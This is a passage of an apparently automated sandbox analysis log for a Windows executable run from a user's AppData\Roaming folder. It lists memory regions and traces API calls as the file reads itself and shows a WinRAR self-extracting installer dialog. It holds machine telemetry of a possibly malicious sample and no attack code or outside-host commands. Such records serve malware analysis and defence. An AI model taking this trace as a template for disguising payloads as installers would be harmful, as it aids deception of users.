0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1424 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1425 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1426 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1427 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1428 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1429 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1430 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1431 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1432 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1433 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1434 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1435 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1436 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1437 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1438 start_va = 0x74cd0000 end_va = 0x74d1bfff entry_point = 0x74cd0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1439 start_va = 0x74ca0000 end_va = 0x74ccdfff entry_point = 0x74ca0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 1440 start_va = 0x2fb0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1441 start_va = 0x2ff0000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1442 start_va = 0x75740000 end_va = 0x75875fff entry_point = 0x75740000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1443 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1444 start_va = 0x75a10000 end_va = 0x75b04fff entry_point = 0x75a10000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1445 start_va = 0x75f10000 end_va = 0x7610afff entry_point = 0x75f10000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1446 start_va = 0x76650000 end_va = 0x7676cfff entry_point = 0x76650000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1447 start_va = 0x759e0000 end_va = 0x759ebfff entry_point = 0x759e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1448 start_va = 0x30f0000 end_va = 0x30f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000030f0000" filename = "" Region: id = 1466 start_va = 0x3100000 end_va = 0x313ffff entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 1467 start_va = 0x3140000 end_va = 0x323ffff entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 1468 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Thread: id = 98 os_tid = 0xba8 [0065.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18ff40 | out: lpCPInfo=0x18ff40) returned 1 [0065.081] GetModuleHandleW (lpModuleName="kernel32") returned 0x76540000 [0065.081] GetProcAddress (hModule=0x76540000, lpProcName="SetDllDirectoryW") returned 0x765d004f [0065.081] SetDllDirectoryW (lpPathName="") returned 1 [0065.081] OleInitialize (pvReserved=0x0) returned 0x0 [0065.436] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fef0 | out: lpCPInfo=0x18fef0) returned 1 [0065.436] GetCommandLineW () returned="\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe\" " [0065.437] SetEnvironmentVariableW (lpName="sfxcmd", lpValue="\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe\" ") returned 1 [0065.437] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x41e900, nSize=0x400 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe")) returned 0x2d [0065.437] SetEnvironmentVariableW (lpName="sfxname", lpValue="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe") returned 1 [0065.437] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0065.437] LoadIconW (hInstance=0x400000, lpIconName=0x64) returned 0xe01b9 [0065.438] LoadBitmapW (hInstance=0x400000, lpBitmapName=0x65) returned 0x5050901 [0065.439] LoadLibraryW (lpLibFileName="riched32.dll") returned 0x75280000 [0065.843] LoadLibraryW (lpLibFileName="riched20.dll") returned 0x74eb0000 [0065.843] OleInitialize (pvReserved=0x0) returned 0x1 [0065.843] InitCommonControlsEx (picce=0x18fefc) returned 1 [0065.844] SHGetMalloc (in: ppMalloc=0x42d720 | out: ppMalloc=0x42d720*=0x762a66bc) returned 0x0 [0065.844] GetVersionExW (in: lpVersionInformation=0x18c974*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18c974*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0065.845] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xcc [0065.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", cchWideChar=-1, lpMultiByteStr=0x18f2d9, cbMultiByte=16777216, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpUsedDefaultChar=0x0) returned 46 [0065.845] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x0 [0065.845] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.845] SetFilePointer (in: hFile=0xcc, lDistanceToMove=8176, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x1ff0 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x1ff0 [0065.846] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=16352, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x3fe0 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x3fe0 [0065.846] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24528, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x5fd0 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x5fd0 [0065.846] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32704, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x7fc0 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x7fc0 [0065.846] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=40880, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x9fb0 [0065.846] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x9fb0 [0065.846] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=49056, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0xbfa0 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0xbfa0 [0065.847] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=57232, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0xdf90 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0xdf90 [0065.847] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=65408, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0xff80 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0xff80 [0065.847] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=73584, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x11f70 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x11f70 [0065.847] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=81760, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x13f60 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x13f60 [0065.847] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.847] SetFilePointer (in: hFile=0xcc, lDistanceToMove=89936, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x15f50 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x15f50 [0065.848] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=98112, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x17f40 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x17f40 [0065.848] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=106288, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x19f30 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x19f30 [0065.848] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=114464, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x1bf20 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x1bf20 [0065.848] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=122640, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x1df10 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x1df10 [0065.848] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.848] SetFilePointer (in: hFile=0xcc, lDistanceToMove=130816, lpDistanceToMoveHigh=0x18ca84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ca84*=0) returned 0x1ff00 [0065.849] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18caa4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18caa4*=0) returned 0x1ff00 [0065.849] ReadFile (in: hFile=0xcc, lpBuffer=0x18cabc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ca74, lpOverlapped=0x0 | out: lpBuffer=0x18cabc*, lpNumberOfBytesRead=0x18ca74*=0x2000, lpOverlapped=0x0) returned 1 [0065.849] CloseHandle (hObject=0xcc) returned 1 [0065.849] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0065.849] FindResourceW (hModule=0x400000, lpName="RTL", lpType=0x5) returned 0x0 [0065.849] GetDC (hWnd=0x0) returned 0x6010965 [0065.849] GetDeviceCaps (hdc=0x6010965, index=88) returned 96 [0065.849] ReleaseDC (hWnd=0x0, hDC=0x6010965) returned 1 [0065.849] DialogBoxParamW (hInstance=0x400000, lpTemplateName="STARTDLG", hWndParent=0x0, lpDialogFunc=0x40d4de, dwInitParam=0x0) returned 0x1 [0066.542] GetWindowRect (in: hWnd=0x20216, lpRect=0x1890cc | out: lpRect=0x1890cc) returned 1 [0066.542] GetClientRect (in: hWnd=0x20216, lpRect=0x1890ac | out: lpRect=0x1890ac) returned 1 [0066.542] GetWindowTextW (in: hWnd=0x20216, lpString=0x1888ac, nMaxCount=1024 | out: lpString="WinRAR self-extracting archive") returned 30 [0066.542] SetWindowTextW (hWnd=0x20216, lpString="WinRAR self-extracting archive") returned 1 [0066.543] GetSystemMetrics (nIndex=8) returned 3 [0066.543] GetWindow (hWnd=0x20216, uCmd=0x5) returned 0x1024e [0066.543] GetWindowTextW (in: hWnd=0x1024e, lpString=0x1888ac, nMaxCount=1024 | out: lpString="") returned 0 [0066.543] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10250 [0066.543] GetWindowTextW (in: hWnd=0x10250, lpString=0x1888ac, nMaxCount=1024 | out: lpString="&Destination folder") returned 19 [0066.543] SetWindowTextW (hWnd=0x10250, lpString="&Destination folder") returned 1 [0066.543] GetWindow (hWnd=0x10250, uCmd=0x2) returned 0x10252 [0066.543] GetWindowTextW (in: hWnd=0x10252, lpString=0x1888ac, nMaxCount=1024 | out: lpString="") returned 0 [0066.543] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x10258 [0066.543] GetWindowTextW (in: hWnd=0x10258, lpString=0x1888ac, nMaxCount=1024 | out: lpString="Bro&wse...") returned 10 [0066.543] SetWindowTextW (hWnd=0x10258, lpString="Bro&wse...") returned 1 [0066.543] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0066.543] GetWindowTextW (in: hWnd=0x1025a, lpString=0x1888ac, nMaxCount=1024 | out: lpString="") returned 0 [0066.544] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x1025c [0066.544] GetWindowTextW (in: hWnd=0x1025c, lpString=0x1888ac, nMaxCount=1024 | out: lpString="") returned 0 [0066.544] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x1025e [0066.544] GetWindowTextW (in: hWnd=0x1025e, lpString=0x1888ac, nMaxCount=1024 | out: lpString="Installation progress") returned 21 [0066.544] SetWindowTextW (hWnd=0x1025e, lpString="Installation progress") returned 1 [0066.544] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x10260 [0066.544] GetWindowTextW (in: hWnd=0x10260, lpString=0x1888ac, nMaxCount=1024 | out: lpString="") returned 0 [0066.544] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x10262 [0066.544] GetWindowTextW (in: hWnd=0x10262, lpString=0x1888ac, nMaxCount=1024 | out: lpString="") returned 0 [0066.544] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10264 [0066.544] GetWindowTextW (in: hWnd=0x10264, lpString=0x1888ac, nMaxCount=1024 | out: lpString="Install") returned 7 [0066.544] SetWindowTextW (hWnd=0x10264, lpString="Install") returned 1 [0066.544] GetWindow (hWnd=0x10264, uCmd=0x2) returned 0x10266 [0066.544] GetWindowTextW (in: hWnd=0x10266, lpString=0x1888ac, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0066.544] SetWindowTextW (hWnd=0x10266, lpString="Cancel") returned 1 [0066.544] GetWindow (hWnd=0x10266, uCmd=0x2) returned 0x0 [0066.544] SendMessageW (hWnd=0x20216, Msg=0x80, wParam=0x1, lParam=0xe01b9) returned 0x0 [0066.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=108, Msg=0x172, wParam=0x0, lParam=0x5050901) returned 0x0 [0066.655] GetDC (hWnd=0x0) returned 0xb0108f9 [0066.655] GetDeviceCaps (hdc=0xb0108f9, index=90) returned 96 [0066.655] ReleaseDC (hWnd=0x0, hDC=0xb0108f9) returned 1 [0066.655] GetDlgItem (hDlg=0x20216, nIDDlgItem=104) returned 0x1025a [0066.655] SendMessageW (hWnd=0x1025a, Msg=0x435, wParam=0x0, lParam=0x400000) returned 0x0 [0066.655] GetCurrentDirectoryW (in: nBufferLength=0x400, lpBuffer=0x18ea64 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0066.655] GetDlgItem (hDlg=0x20216, nIDDlgItem=102) returned 0x10252 [0066.655] SetWindowTextW (hWnd=0x10252, lpString="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0066.655] GetClassNameW (in: hWnd=0x10252, lpClassName=0x189084, nMaxCount=80 | out: lpClassName="ComboBox") returned 8 [0066.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="ComboBox", cchCount1=-1, lpString2="EDIT", cchCount2=-1) returned 1 [0066.655] FindWindowExW (hWndParent=0x10252, hWndChildAfter=0x0, lpszClass="EDIT", lpszWindow=0x0) returned 0x10256 [0066.656] SHAutoComplete (hwndEdit=0x10256, dwFlags=0x10) returned 0x0 [0067.367] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x134 [0067.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", cchWideChar=-1, lpMultiByteStr=0x181331, cbMultiByte=16777216, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpUsedDefaultChar=0x0) returned 46 [0067.367] ReadFile (in: hFile=0x134, lpBuffer=0x185d7c, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x18128c, lpOverlapped=0x0 | out: lpBuffer=0x185d7c*, lpNumberOfBytesRead=0x18128c*=0x7, lpOverlapped=0x0) returned 1 [0067.368] SetFilePointer (in: hFile=0x134, lDistanceToMove=0, lpDistanceToMoveHigh=0x1812b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1812b8*=0) returned 0x7 [0067.368] ReadFile (in: hFile=0x134, lpBuffer=0x2e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x181288, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesRead=0x181288*=0xd6a3e, lpOverlapped=0x0) returned 1 [0067.376] SetFilePointer (in: hFile=0x134, lDistanceToMove=134656, lpDistanceToMoveHigh=0x181298*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x181298*=0) returned 0x20e00 [0067.376] ReadFile (in: hFile=0x134, lpBuffer=0x185d7c, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x181288, lpOverlapped=0x0 | out: lpBuffer=0x185d7c*, lpNumberOfBytesRead=0x181288*=0x7, lpOverlapped=0x0) returned 1 [0067.380] SetFilePointer (in: hFile=0x134, lDistanceToMove=0, lpDistanceToMoveHigh=0x180228*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x180228*=0) returned 0x20e07 [0067.380] ReadFile (in: hFile=0x134, lpBuffer=0x258f40, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1801e0, lpOverlapped=0x0 | out: lpBuffer=0x258f40*, lpNumberOfBytesRead=0x1801e0*=0x7, lpOverlapped=0x0) returned 1 [0067.380] ReadFile (in: hFile=0x134, lpBuffer=0x258f47, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x1801e0, lpOverlapped=0x0 | out: lpBuffer=0x258f47*, lpNumberOfBytesRead=0x1801e0*=0x6, lpOverlapped=0x0) returned 1 [0067.380] SetFilePointer (in: hFile=0x134, lDistanceToMove=134676, lpDistanceToMoveHigh=0x181294*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x181294*=0) returned 0x20e14 [0067.380] SetFilePointer (in: hFile=0x134, lDistanceToMove=0, lpDistanceToMoveHigh=0x1812a8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1812a8*=0) returned 0x20e14 [0067.380] SetFilePointer (in: hFile=0x134, lDistanceToMove=0, lpDistanceToMoveHigh=0x180228*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x180228*=0) returned 0x20e14 [0067.380] ReadFile (in: hFile=0x134, lpBuffer=0x258f40, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1801e0, lpOverlapped=0x0 | out: lpBuffer=0x258f40*, lpNumberOfBytesRead=0x1801e0*=0x7, lpOverlapped=0x0) returned 1 [0067.380] ReadFile (in: hFile=0x134, lpBuffer=0x25a637, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x1801e0, lpOverlapped=0x0 | out: lpBuffer=0x25a637*, lpNumberOfBytesRead=0x1801e0*=0x1c, lpOverlapped=0x0) returned 1 [0067.380] SetFilePointer (in: hFile=0x134, lDistanceToMove=135926, lpDistanceToMoveHigh=0x181294*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x181294*=0) returned 0x212f6 [0067.380] SetFilePointer (in: hFile=0x134, lDistanceToMove=0, 